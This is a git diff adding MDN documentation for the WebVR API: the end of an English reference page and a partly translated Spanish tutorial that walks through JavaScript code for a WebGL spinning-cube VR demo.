+ <dt>{{domxref("Navigator.activeVRDisplays")}} {{readonlyInline}}</dt>
+ <dd>Returns an array containing every {{domxref("VRDisplay")}} object that is currently presenting ({{domxref("VRDisplay.ispresenting")}} is <code>true</code>).</dd>
+ <dt>{{domxref("Navigator.getVRDisplays()")}}</dt>
+ <dd>Returns a promise that resolves to an array of {{domxref("VRDisplay")}} objects representing any available VR displays connected to the computer.</dd>
+</dl>
+
+<h4 id="Window_events">Window events</h4>
+
+<dl>
+ <dt>{{domxref("Window.onvrdisplaypresentchange")}}</dt>
+ <dd>Represents an event handler that will run when the presenting state of a VR display changes — i.e. goes from presenting to not presenting, or vice versa (when the {{event("vrdisplaypresentchange")}} event fires).</dd>
+ <dt>{{domxref("Window.onvrdisplayconnect")}}</dt>
+ <dd>Represents an event handler that will run when a compatible VR display has been connected to the computer (when the {{event("vrdisplayconnect")}} event fires).</dd>
+ <dt>{{domxref("Window.onvrdisplaydisconnect")}}</dt>
+ <dd>Represents an event handler that will run when a compatible VR display has been disconnected from the computer (when the {{event("vrdisplaydisconnect")}} event fires).</dd>
+ <dt>{{domxref("Window.onvrdisplayactivate")}}</dt>
+ <dd>Represents an event handler that will run when a display is able to be presented to (when the {{event("vrdisplayactivate")}} event fires), for example if an HMD has been moved to bring it out of standby, or woken up by being put on.</dd>
+ <dt>{{domxref("Window.onvrdisplaydeactivate")}}</dt>
+ <dd>Represents an event handler that will run when a display can no longer be presented to (when the {{event("vrdisplaydeactivate")}} event fires), for example if an HMD has gone into standby or sleep mode due to a period of inactivity.</dd>
+</dl>
+
+<h4 id="Unimplemented_window_events">Unimplemented window events</h4>
+
+<p>The following events are listed in the spec, but do not currently seem to be implemented anywhere as yet.</p>
+
+<dl>
+ <dt>{{domxref("Window.onvrdisplayblur")}}</dt>
+ <dd>Represents an event handler that will run when presentation to a display has been paused for some reason by the browser, OS, or VR hardware (when the {{event("vrdisplayblur")}} event fires) — for example, while the user is interacting with a system menu or browser, to prevent tracking or loss of experience.</dd>
+ <dt>{{domxref("Window.onvrdisplayfocus")}}</dt>
+ <dd>Represents an event handler that will run when presentation to a display has resumed after being blurred (when the {{event("vrdisplayfocus")}} event fires).</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>You can find a number of examples at these locations:</p>
+
+<ul>
+ <li><a href="https://github.com/mdn/webvr-tests">webvr-tests</a> — very simple examples to accompany the MDN WebVR documentation.</li>
+ <li><a href="https://github.com/facebook/Carmel-Starter-Kit">Carmel starter kit</a> — nice simple, well-commented examples that go along with Carmel, Facebook's WebVR browser.</li>
+ <li><a href="https://webvr.info/samples/">WebVR.info samples</a> — slightly more in-depth examples plus source code</li>
+ <li><a href="https://webvr.rocks/firefox#demos">WebVR.rocks Firefox demos</a> — showcase examples</li>
+ <li><a href="https://aframe.io/">A-Frame homepage</a> — examples showing A-Frame usage</li>
+</ul>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("GamepadExtensions")}}</td>
+   <td>{{Spec2("GamepadExtensions")}}</td>
+   <td>Defines the <a href="/en-US/docs/Web/API/Gamepad_API#Experimental_Gamepad_extensions">Experimental Gamepad extensions</a>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebVR 1.1')}}</td>
+   <td>{{Spec2('WebVR 1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(55)}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Gamepad extensions</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}<sup>[4]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+   <th>Samsung Internet for GearVR</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(55)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[3]</sup></td>
+   <td>{{CompatVersionUnknown}}<br>
+     </td>
+  </tr>
+  <tr>
+   <td>Gamepad extensions</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}<sup>[4]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] API Available on all platforms behind a flag, but currently only works on desktop in an <a href="https://webvr.info/get-chrome/">experimental version of Chrome</a> (other builds won't return any devices when {{domxref("Navigator.getVRDisplays()")}} is invoked).</p>
+
+<p>[2] Currently only Windows support is enabled by default. Mac support is <a href="https://hacks.mozilla.org/2017/06/announcing-webvr-on-mac/">available in Firefox Nightly</a>.</p>
+
+<p>[3] Currently supported only by Google Daydream.</p>
+
+<p>[4] Enabled in Firefox Nightly and Beta, versions 55 and above. Enabled/disabled by the <code>dom.gamepad-extensions.enabled</code> pref.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://vr.mozilla.org">vr.mozilla.org</a> — The main Mozilla landing pad for WebVR, with demos, utilities, and other information.</li>
+ <li><a href="https://aframe.io/">A-Frame</a> — Open source web framework for building VR experiences.</li>
+ <li><a href="https://webvr.info">webvr.info</a> — Up-to-date information about WebVR, browser setup, and community.</li>
+ <li><a href="http://mozvr.com/">MozVr.com</a> — Demos, downloads, and other resources from the Mozilla VR team.</li>
+ <li><a href="https://github.com/MozVR/vr-web-examples/tree/master/threejs-vr-boilerplate">threejs-vr-boilerplate</a> — A useful starter template for writing WebVR apps into.</li>
+ <li><a href="https://github.com/googlevr/webvr-polyfill/">Web VR polyfill</a> — JavaScript implementation of WebVR.</li>
+</ul>
diff --git a/files/es/web/api/webvr_api/using_the_webvr_api/index.html b/files/es/web/api/webvr_api/using_the_webvr_api/index.html
new file mode 100644
index 0000000000..0a4bc67e58
--- /dev/null
+++ b/files/es/web/api/webvr_api/using_the_webvr_api/index.html
@@ -0,0 +1,448 @@
+---
+title: Uso de la API de WebVR
+slug: Web/API/WebVR_API/Using_the_WebVR_API
+tags:
+  - '1.1'
+  - API
+  - Canvas
+  - Realidad Virtual
+  - Tutorial
+  - VR
+  - WebGL
+  - WebVR
+translation_of: Web/API/WebVR_API/Using_the_WebVR_API
+---
+<div>{{APIRef("WebVR API")}}</div>
+
+<p class="summary"><span id="result_box" lang="es"><span>La API WebVR es una fantástica adición al kit de herramientas del desarrollador web, permitiendo que las escenas de WebGL sean presentadas en pantallas de realidad virtual como el Oculus Rift y HTC Vive.</span> <span>Pero, ¿cómo empezar a desarrollar aplicaciones VR para la Web?</span> <span>Este artículo le guiará a través de los fundamentos.</span></span></p>
+
+<div class="note">
+<p><span id="result_box" lang="es"><span><strong>Nota:</strong> La versión más estable de la API de WebVR (1.1) se ha implementado recientemente en Firefox 55 (Windows en versión de lanzamiento y Mac OS X sólo en Nightly) y también está disponible en Chrome cuando se usa con hardware de Google Daydream.</span> <span>También hay una evolución posterior de la especificación 2.0, pero esto está en una etapa temprana ahora mismo.</span> <span>Puede encontrar información sobre el estado más reciente de las especificaciones en </span></span> <a href="https://w3c.github.io/webvr/">WebVR Spec Version List</a>.</p>
+</div>
+
+<h2 id="Empezando"><span class="short_text" id="result_box" lang="es"><span>Empezando</span></span></h2>
+
+<p><span class="short_text" id="result_box" lang="es"><span>Para empezar, necesita:</span></span></p>
+
+<ul>
+ <li><span class="short_text" id="result_box" lang="es"><span>Soporte de hardware VR.</span></span>
+
+  <ul>
+   <li><span id="result_box" lang="es"><span>La opción más barata es utilizar un dispositivo móvil, compatible con el navegador y el dispositivo montado (por ejemplo, Google Cardboard).</span> <span>Esto no será una experiencia tan buena como el hardware dedicado, pero no necesitará comprar una computadora potente o una pantalla VR dedicada.</span></span></li>
+   <li><span id="result_box" lang="es"><span>El hardware dedicado puede ser costoso, pero proporciona una experiencia mejor.</span> <span>El hardware más compatible con WebVR en este momento es el HTC VIVE, y The Oculus Rift.</span> <span>La primera página de</span></span> <a href="https://webvr.info/">webvr.info</a> <span id="result_box" lang="es"><span>tiene alguna otra información útil sobre hardware disponible y qué navegador los soporta.</span></span></li>
+  </ul>
+ </li>
+ <li><span id="result_box" lang="es"><span>Una computadora lo suficientemente potente para manejar la representación / visualización de escenas VR usando su hardware VR dedicado, si es necesario.</span> <span>Para darle una idea de lo que usted necesita, mire la guía relevante para el VR que usted está comprando</span></span> ( p. ej.<a href="https://www.vive.com/us/ready/">VIVE READY Computers</a>).</li>
+ <li><span class="short_text" id="result_box" lang="es"><span>Se ha instalado un navegador de soporte: el último</span></span> <a href="https://www.mozilla.org/en-US/firefox/channel/desktop/">Firefox Nightly</a> o <a href="https://www.google.com/chrome/index.html">Chrome</a> <span id="result_box" lang="es"><span>son sus mejores opciones ahora, en el escritorio o móvil.</span></span></li>
+</ul>
+
+<p><span id="result_box" lang="es"><span>Una vez que tengas todo montado, puedes probar si tu configuración funciona con WebVR yendo a nuestro</span></span> <a href="https://mdn.github.io/webvr-tests/aframe-demo/">simple A-Frame demo</a>, <span id="result_box" lang="es"><span>y ver si la escena se procesa y si puede entrar en el modo de visualización VR pulsando el botón en la parte inferior derecha.</span></span></p>
+
+<p><a href="https://aframe.io/">A-Frame</a> <span id="result_box" lang="es"><span>es de lejos la mejor opción si desea crear una escena 3D compatible con WebVR rápidamente, sin necesidad de entender un montón de código nuevo de JavaScript.</span> <span>Sin embargo, no te enseña cómo funciona la API WebVR en bruto, y esto es lo que veremos a continuación.</span></span></p>
+
+<h2 id="Introduccion_a_nuestra_demostración"><span class="short_text" id="result_box" lang="es"><span>Introduccion a nuestra demostración</span></span></h2>
+
+<p><span id="result_box" lang="es"><span>Para ilustrar cómo funciona la API de WebVR, estudiaremos nuestro ejemplo raw-webgl-example, que se parece un poco a esto:</span></span></p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15121/Capture1.png" style="display: block; height: 761px; margin: 0px auto; width: 1341px;"></p>
+
+<div class="note">
+<p><span id="result_box" lang="es"><span><strong>Nota:</strong> Puedes encontrar el <a href="https://github.com/mdn/webvr-tests/tree/master/raw-webgl-example">código fuente de nuestra demo</a> en </span></span> GitHub, <span id="result_box" lang="es"><span>y <a href="https://mdn.github.io/webvr-tests/raw-webgl-example/">verlo en vivo </a>también. </span></span></p>
+</div>
+
+<div class="note">
+<p><span id="result_box" lang="es"><span><strong>Nota:</strong> Si WebVR no funciona en su navegador, es posible que deba asegurarse de que se está ejecutando a través de su tarjeta gráfica.</span> <span>Por ejemplo, para las tarjetas NVIDIA, si el panel de control de NVIDIA se ha configurado correctamente, habrá una opción de menú contextual disponible - haga clic con el botón derecho del ratón en Firefox y seleccione <em>Ejecutar con procesador gráfico</em> &gt; <em>Procesador NVIDIA de alto rendimiento.</em></span></span></p>
+</div>
+
+<p><span id="result_box" lang="es"><span>Nuestra demo presenta el santo grial de las demostraciones de WebGL - un cubo 3D giratorio.</span> <span>Hemos implementado esto usando raw </span></span><a href="/en-US/docs/Web/API/WebGL_API">WebGL API</a> <span id="result_box" lang="es"><span>código.</span> <span>No enseñaremos ningún JavaScript básico o WebGL, solo las partes de WebVR.</span></span></p>
+
+<p><span class="short_text" id="result_box" lang="es"><span>Nuestra demo también cuenta con:</span></span></p>
+
+<ul>
+ <li><span id="result_box" lang="es"><span>Un botón para iniciar (y detener) la presentación de nuestra escena en la pantalla VR.</span></span></li>
+ <li><span id="result_box" lang="es"><span>Un botón para mostrar (y ocultar) los datos de pose VR, es decir, la posición y orientación del auricular, actualizados en tiempo real.</span></span></li>
+</ul>
+
+<p><span class="short_text" id="result_box" lang="es"><span>Cuando miras a través del código fuente de</span></span><a href="https://github.com/mdn/webvr-tests/blob/master/raw-webgl-example/webgl-demo.js"> nuestro archivo JavaScript principal de demostraciones</a> , <span id="result_box" lang="es"><span>puede encontrar fácilmente las partes específicas de WebVR buscando la cadena "WebVR" en comentarios anteriores.</span></span></p>
+
+<div class="note">
+<p><span id="result_box" lang="es"><span><strong>Nota:</strong> Para obtener más información sobre JavaScript básico y WebGL, consulte nuestro </span></span><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript">material de aprendizaje JavaScrip</a><span lang="es"><span> </span></span>, y nuestro <a href="/en-US/docs/Web/API/WebGL_API/Tutorial">WebGL Tutorial</a>.</p>
+</div>
+
+<h2 id="¿Como_funciona"><span class="short_text" id="result_box" lang="es"><span>¿Como funciona?</span></span></h2>
+
+<p><span id="result_box" lang="es"><span>En este punto, veamos cómo funcionan las partes WebVR del código.</span></span></p>
+
+<p><span id="result_box" lang="es"><span>Una típica (simple) aplicación WebVR funciona de esta manera:</span></span></p>
+
+<ol>
+ <li>{{domxref("Navigator.getVRDisplays()")}} <span id="result_box" lang="es"><span>se utiliza para obtener una referencia a la visualización VR.</span></span></li>
+ <li>{{domxref("VRDisplay.requestPresent()")}} <span id="result_box" lang="es"><span>se utiliza para iniciar la presentación en la pantalla VR.</span></span></li>
+ <li><span class="short_text" id="result_box" lang="es"><span>WebVR's dedicado </span></span>{{domxref("VRDisplay.requestAnimationFrame()")}} <span id="result_box" lang="es"><span>se utiliza para ejecutar el bucle de representación de la aplicación a la velocidad de actualización correcta para la pantalla.</span></span></li>
+ <li><span id="result_box" lang="es"><span>Dentro del bucle de procesamiento, se capturan los datos necesarios para mostrar el marco actual </span></span>({{domxref("VRDisplay.getFrameData()")}}), <span id="result_box" lang="es"><span>dibuja la escena visualizada dos veces - una vez para la vista en cada ojo -</span>  <span>luego envia la vista renderizada a la pantalla para mostrar al usuario a través de </span></span>({{domxref("VRDisplay.submitFrame()")}}).</li>
+</ol>
+
+<p><span id="result_box" lang="es"><span>En las secciones siguientes veremos en detalle nuestra demostración raw-webgl y veremos dónde se utilizan exactamente las características anteriores.</span></span></p>
+
+<h3 id="Comenzando_con_algunas_variables"><span class="short_text" id="result_box" lang="es"><span>Comenzando con algunas variables</span></span></h3>
+
+<p><span id="result_box" lang="es"><span>El primer código relacionado con WebVR que encontrarás es el siguiente bloque:</span></span></p>
+
+<pre class="brush: js notranslate">// WebVR variables
+
+var frameData = new VRFrameData();
+var vrDisplay;
+var btn = document.querySelector('.stop-start');
+var normalSceneFrame;
+var vrSceneFrame;
+
+var poseStatsBtn = document.querySelector('.pose-stats');
+var poseStatsSection = document.querySelector('section');
+poseStatsSection.style.visibility = 'hidden'; // hide it initially
+
+var posStats = document.querySelector('.pos');
+var orientStats = document.querySelector('.orient');
+var linVelStats = document.querySelector('.lin-vel');
+var linAccStats = document.querySelector('.lin-acc');
+var angVelStats = document.querySelector('.ang-vel');
+var angAccStats = document.querySelector('.ang-acc');
+var poseStatsDisplayed = false;</pre>
+
+<p><span class="short_text" id="result_box" lang="es"><span>Vamos a explicar estos </span></span><span class="short_text" lang="es"><span>brevemente :</span></span></p>
+
+<ul>
+ <li><code>frameData</code> contains a {{domxref("VRFrameData")}} <span class="short_text" id="result_box" lang="es"><span>objeto, creado con el </span></span>{{domxref("VRFrameData.VRFrameData", "VRFrameData()")}} <span id="result_box" lang="es"><span>constructor.</span> <span>Esto es inicialmente vacío, pero contendrá más adelante los datos requeridos para rendir cada marco para mostrar en la exhibición de VR, actualizado constantemente mientras que se ejecuta el ciclo de la representación.</span></span></li>
+ <li><code>vrDisplay</code> <span id="result_box" lang="es"><span>comienza sin inicializarse, pero más adelante se realizará una referencia a nuestro auricular VR</span></span> ({{domxref("VRDisplay")}} —<span class="short_text" id="result_box" lang="es"><span> el objeto de control central de la API).</span></span></li>
+ <li><code>btn</code> y <code>poseStatsBtn</code> <span id="result_box" lang="es"><span>mantenga referencias a los dos botones que estamos usando para controlar nuestra aplicación.</span></span></li>
+ <li><code>normalSceneFrame</code> y <code>vrSceneFrame</code> <span id="result_box" lang="es"><span>no iniciados, pero más adelante contendrán referencias a</span></span> {{domxref("Window.requestAnimationFrame()")}} y {{domxref("VRDisplay.requestAnimationFrame()")}} <span id="result_box" lang="es"><span>llamadas - esto iniciará el funcionamiento de un bucle de renderizado normal, y un bucle de renderización WebVR especial;</span> <span>explicaremos la diferencia entre estos dos más adelante.</span></span></li>
+ <li><span id="result_box" lang="es"><span>Las otras variables almacenan referencias a diferentes partes del cuadro de visualización de datos de pose de VR, que se puede ver en la esquina inferior derecha de la interfaz de usuario.</span></span></li>
+</ul>
+
+<h3 id="Cómo_obtener_una_referencia_a_nuestra_pantalla_VR"><span class="short_text" id="result_box" lang="es"><span>Cómo obtener una referencia a nuestra pantalla VR</span></span></h3>
+
+<p><span id="result_box" lang="es"><span>Una de las principales funciones dentro de nuestro código es start () - ejecutamos esta función cuando el cuerpo ha terminado de cargar:</span></span></p>
+
+<pre class="brush: js notranslate">// start
+//
+// Called when the body has loaded is created to get the ball rolling.
+
+document.body.onload = start;</pre>
+
+<p>Para empezar, <code>start()</code> <span id="result_box" lang="es"><span>recupera un contexto de WebGL para usarlo para renderizar gráficos 3D</span></span> {{htmlelement("canvas")}} <span class="short_text" id="result_box" lang="es"><span>elemento en </span></span><a href="https://github.com/mdn/webvr-tests/blob/master/raw-webgl-example/index.html">our HTML</a>. <span class="short_text" id="result_box" lang="es"><span>A continuación verificamos si la</span></span> <code>gl</code> <span class="short_text" id="result_box" lang="es"><span>contexto está disponible</span></span> — <span id="result_box" lang="es"><span>si es así, ejecutamos una serie de funciones para configurar la escena para su visualización.</span></span></p>
+
+<pre class="brush: js notranslate">function start() {
+  canvas = document.getElementById("glcanvas");
+
+  initWebGL(canvas);      // Initialize the GL context
+
+  // WebGL setup code here</pre>
+
+<p>Next, we start the process of actually rendering the scene onto the canvas, by setting the canvas to fill the entire browser viewport, and running the rendering loop (<code>drawScene()</code>) for the first time. This is the non-WebVR — normal — rendering loop.</p>
+
+<pre class="brush: js notranslate">    // draw the scene normally, without WebVR - for those who don't have it and want to see the scene in their browser
+
+    canvas.width = window.innerWidth;
+    canvas.height = window.innerHeight;
+    drawScene();</pre>
+
+<p>Now onto our first WebVR-specific code. First of all, we check to see if {{domxref("Navigator.getVRDisplays")}} exists — this is the entry point into the API, and therefore good basic feature detection for WebVR. You'll see at the end of the block (inside the <code>else</code> clause) that if this doesn't exist, we log a message to indicate that WebVR 1.1 isn't supported by the browser.</p>
+
+<pre class="brush: js notranslate">    // WebVR: Check to see if WebVR is supported
+    if(navigator.getVRDisplays) {
+      console.log('WebVR 1.1 supported');</pre>
+
+<p>Inside our <code>if() { ... }</code> block, we run the {{domxref("Navigator.getVRDisplays()")}} function. This returns a promise, which is fulfilled with an array containing all the VR display devices connected to the computer. If none are connected, the array will be empty.</p>
+
+<pre class="brush: js notranslate">      // Then get the displays attached to the computer
+      navigator.getVRDisplays().then(function(displays) {</pre>
+
+<p>Inside the promise <code>then()</code> block, we check whether the array length is more than 0; if so, we set the value of our <code>vrDisplay</code> variable to the 0 index item inside the array. <code>vrDisplay</code> now contains a {{domxref("VRDisplay")}} object representing our connected display!</p>
+
+<pre class="brush: js notranslate">        // If a display is available, use it to present the scene
+        if(displays.length &gt; 0) {
+          vrDisplay = displays[0];
+          console.log('Display found');</pre>
+
+<div class="note">
+<p><span id="result_box" lang="es"><span><strong>Nota: </strong>Es poco probable que tenga varias pantallas VR conectadas a su computadora, y esto es sólo una demostración simple, por lo que esto lo hará por ahora.</span></span></p>
+</div>
+
+<h3 id="Starting_and_stopping_the_VR_presentation">Starting and stopping the VR presentation</h3>
+
+<p>Now we have a {{domxref("VRDisplay")}} object, we can use it do a number of things. The next thing we want to do is wire up functionality to start and stop presentation of the WebGL content to the display.</p>
+
+<p>Continuing on with the previous code block, we now add an event listener to our start/stop button (<code>btn</code>) — when this button is clicked we want to check whether we are presenting to the display already (we do this in a fairly dumb fashion, by checking what the button <code><a href="/en-US/docs/Web/API/Node/textContent">textContent</a></code> contains).</p>
+
+<p>If the display is not already presenting, we use the {{domxref("VRDisplay.requestPresent()")}} method to request that the browser start presenting content to the display. This takes as a parameter an array of the {{domxref("VRLayerInit")}} objects representing the layers you want to present in the display.</p>
+
+<p>Since the maximum number of layers you can display is currently 1, and the only required object member is the {{domxref("VRLayerInit.source")}} property (which is a reference to the {{htmlelement("canvas")}} you want to present in that layer; the other parameters are given sensible defaults — see {{domxref("VRLayerInit.leftBounds", "leftBounds")}} and {{domxref("VRLayerInit.rightBounds", "rightBounds")}})), the parameter is simply [{ source: canvas }].</p>
+
+<p><code>requestPresent()</code> returns a promise that is fulfilled when the presentation begins successfully.</p>
+
+<pre class="brush: js notranslate">          // Starting the presentation when the button is clicked: It can only be called in response to a user gesture
+          btn.addEventListener('click', function() {
+            if(btn.textContent === 'Start VR display') {
+              vrDisplay.requestPresent([{ source: canvas }]).then(function() {
+                console.log('Presenting to WebVR display');</pre>
+
+<p>With our presentation request successful, we now want to start setting up to render content to present to the VRDisplay. First of all we set the canvas to the same size as the VR display area. We do this by getting the {{domxref("VREyeParameters")}} for both eyes using {{domxref("VRDisplay.getEyeParameters()")}}.</p>
+
+<p>We then do some simple math to calculate the total width of the VRDisplay rendering area based on the eye {{domxref("VREyeParameters.renderWidth")}} and {{domxref("VREyeParameters.renderHeight")}}.</p>
+
+<pre class="brush: js notranslate">                // Set the canvas size to the size of the vrDisplay viewport
+
+                var leftEye = vrDisplay.getEyeParameters('left');
+                var rightEye = vrDisplay.getEyeParameters('right');
+
+                canvas.width = Math.max(leftEye.renderWidth, rightEye.renderWidth) * 2;
+                canvas.height = Math.max(leftEye.renderHeight, rightEye.renderHeight);</pre>
+
+<p>Next, we {{domxref("Window.cancelAnimationFrame()", "cancel the animation loop")}} previously set in motion by the {{domxref("Window.requestAnimationFrame()")}} call inside the <code>drawScene()</code> function, and instead invoke <code>drawVRScene()</code>. This function renders the same scene as before, but with some special WebVR magic going on. The loop inside here is maintained by WebVR's special {{domxref("VRDisplay.requestAnimationFrame")}} method.</p>
+
+<pre class="brush: js notranslate">                // stop the normal presentation, and start the vr presentation
+                window.cancelAnimationFrame(normalSceneFrame);
+                drawVRScene();</pre>
+
+<p><span id="result_box" lang="es"><span>Finalmente, actualizamos el texto del botón para que la próxima vez que se presione, detenga la presentación en la pantalla VR.</span></span></p>
+
+<pre class="brush: js notranslate">                btn.textContent = 'Exit VR display';
+              });</pre>
+
+<p><br>
+ To stop the VR presentation when the button is subsequently pressed, we call {{domxref("VRDisplay.exitPresent()")}}. We also reverse the button's text content, and swap over the <code>requestAnimationFrame</code> calls. You can see here that we are using {{domxref("VRDisplay.cancelAnimationFrame")}} to stop the VR rendering loop, and starting the normal rendering loop off again by calling <code>drawScene()</code>.</p>
+
+<pre class="brush: js notranslate">            } else {
+              vrDisplay.exitPresent();
+              console.log('Stopped presenting to WebVR display');
+
+              btn.textContent = 'Start VR display';
+
+              // Stop the VR presentation, and start the normal presentation
+              vrDisplay.cancelAnimationFrame(vrSceneFrame);
+              drawScene();
+            }
+          });
+        }
+      });
+    } else {
+      console.log('WebVR API not supported by this browser.');
+    }
+  }
+}</pre>
+
+<p><span id="result_box" lang="es"><span>Una vez iniciada la presentación, podrás ver la vista estereoscópica que se muestra en el navegador:</span></span></p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15123/Capture2.png" style="display: block; margin: 0 auto;"></p>
+
+<p><span id="result_box" lang="es"><span>A continuación, aprenderá cómo se produce realmente la vista estereoscópica.</span></span></p>
+
+<h3 id="Why_does_WebVR_have_its_own_requestAnimationFrame">Why does WebVR have its own requestAnimationFrame()?</h3>
+
+<p>This is a good question. The reason is that for smooth rendering inside the VR display, you need to render the content at the display's native refresh rate, not that of the computer. VR display refresh rates are greater than PC refresh rates, typically up to 90fps. The rate will be differ from the computer's core refresh rate.</p>
+
+<p>Note that when the VR display is not presenting, {{domxref("VRDisplay.requestAnimationFrame")}} runs identically to {{domxref("Window.requestAnimationFrame")}}, so if you wanted, you could just use a single rendering loop, rather than the two we are using in our app. We have used two because we wanted to do slightly different things depending on whether the VR display is presenting or not, and keep things separated for ease of comprehension.</p>
+
+<h3 id="Rendering_and_display">Rendering and display</h3>
+
+<p>At this point, we've seen all the code required to access the VR hardware, request that we present our scene to the hardware, and start running the rending loop. Let's now look at the code for the rendering loop, and explain how the WebVR-specific parts of it work.</p>
+
+<p>First of all, we begin the definition of our rendering loop function — <code>drawVRScene()</code>. The first thing we do inside here is make a call to {{domxref("VRDisplay.requestAnimationFrame()")}} to keep the loop running after it has been called once (this occurred earlier on in our code when we started presenting to the VR display). This call is set as the value of the global <code>vrSceneFrame</code> variable, so we can cancel the loop with a call to {{domxref("VRDisplay.cancelAnimationFrame()")}} once we exit VR presenting.</p>
+
+<pre class="brush: js notranslate">function drawVRScene() {
+  // WebVR: Request the next frame of the animation
+  vrSceneFrame = vrDisplay.requestAnimationFrame(drawVRScene);</pre>
+
+<p>Next, we call {{domxref("VRDisplay.getFrameData()")}}, passing it the name of the variable that we want to use to contain the frame data. We initialized this earlier on — <code>frameData</code>. After the call completes, this variable will contain the data need to render the next frame to the VR device, packaged up as a {{domxref("VRFrameData")}} object. This contains things like projection and view matrices for rendering the scene correctly for the left and right eye view, and the current {{domxref("VRPose")}} object, which contains data on the VR display such as orientation, position, etc.</p>
+
+<p>This has to be called on every frame so the rendered view is always up-to-date.</p>
+
+<pre class="brush: js notranslate">  // Populate frameData with the data of the next frame to display
+  vrDisplay.getFrameData(frameData);</pre>
+
+<p>Now we retrieve the current {{domxref("VRPose")}} from the {{domxref("VRFrameData.pose")}} property, store the position and orientation for use later on, and send the current pose to the pose stats box for display, if the <code>poseStatsDisplayed</code> variable is set to true.</p>
+
+<pre class="brush: js notranslate">  // You can get the position, orientation, etc. of the display from the current frame's pose
+
+  var curFramePose = frameData.pose;
+  var curPos = curFramePose.position;
+  var curOrient = curFramePose.orientation;
+  if(poseStatsDisplayed) {
+    displayPoseStats(curFramePose);
+  }</pre>
+
+<p>  We now clear the canvas before we start drawing on it, so that the next frame is clearly seen, and we don't also see previous rendered frames:</p>
+
+<pre class="brush: js notranslate">  // Clear the canvas before we start drawing on it.
+
+  gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT);</pre>
+
+<p>We now render the view for both the left and right eyes. First of all we need to create projection and view locations for use in the rendering. these are {{domxref("WebGLUniformLocation")}} objects, created using the {{domxref("WebGLRenderingContext.getUniformLocation()")}} method, passing it the shader program's identifier and an identifying name as parameters.</p>
+
+<pre class="brush: js notranslate">  // WebVR: Create the required projection and view matrix locations needed
+  // for passing into the uniformMatrix4fv methods below
+
+  var projectionMatrixLocation = gl.getUniformLocation(shaderProgram, "projMatrix");
+  var viewMatrixLocation = gl.getUniformLocation(shaderProgram, "viewMatrix");</pre>
+
+<p>The next rendering step involves:</p>
+
+<ul>
+ <li>Specifying the viewport size for the left eye, using {{domxref("WebGLRenderingContext.viewport")}} — this is logically the first half of the canvas width, and the full canvas height.</li>
+ <li>Specifying the view and projection matrix values to use to render the left eye — this is done using the {{domxref("WebGLRenderingContext.uniformMatrix", "WebGLRenderingContext.uniformMatrix4fv")}} method, which is passed the location values we retrieved above, and the left matrices obtained from the {{domxref("VRFrameData")}} object.</li>
+ <li>Running the <code>drawGeometry()</code> function, which renders the actual scene — because of what we specified in the previous two steps, we will render it for the left eye only.</li>
+</ul>
+
+<pre class="brush: js notranslate">  // WebVR: Render the left eye’s view to the left half of the canvas
+  gl.viewport(0, 0, canvas.width * 0.5, canvas.height);
+  gl.uniformMatrix4fv(projectionMatrixLocation, false, frameData.leftProjectionMatrix);
+  gl.uniformMatrix4fv(viewMatrixLocation, false, frameData.leftViewMatrix);
+  drawGeometry();</pre>
+
+<p>We now do exactly the same thing, but for the right eye:</p>
+
+<pre class="brush: js notranslate">  // WebVR: Render the right eye’s view to the right half of the canvas
+  gl.viewport(canvas.width * 0.5, 0, canvas.width * 0.5, canvas.height);
+  gl.uniformMatrix4fv(projectionMatrixLocation, false, frameData.rightProjectionMatrix);
+  gl.uniformMatrix4fv(viewMatrixLocation, false, frameData.rightViewMatrix);
+  drawGeometry();</pre>
+
+<p>Next we define our <code>drawGeometry()</code> function. Most of this is just general WebGL code required to draw our 3D cube. You'll see some WebVR-specific parts in the <code>mvTranslate()</code> and <code>mvRotate()</code> function calls — these pass matrices into the WebGL program that define the translation and rotation of the cube for the current frame</p>
+
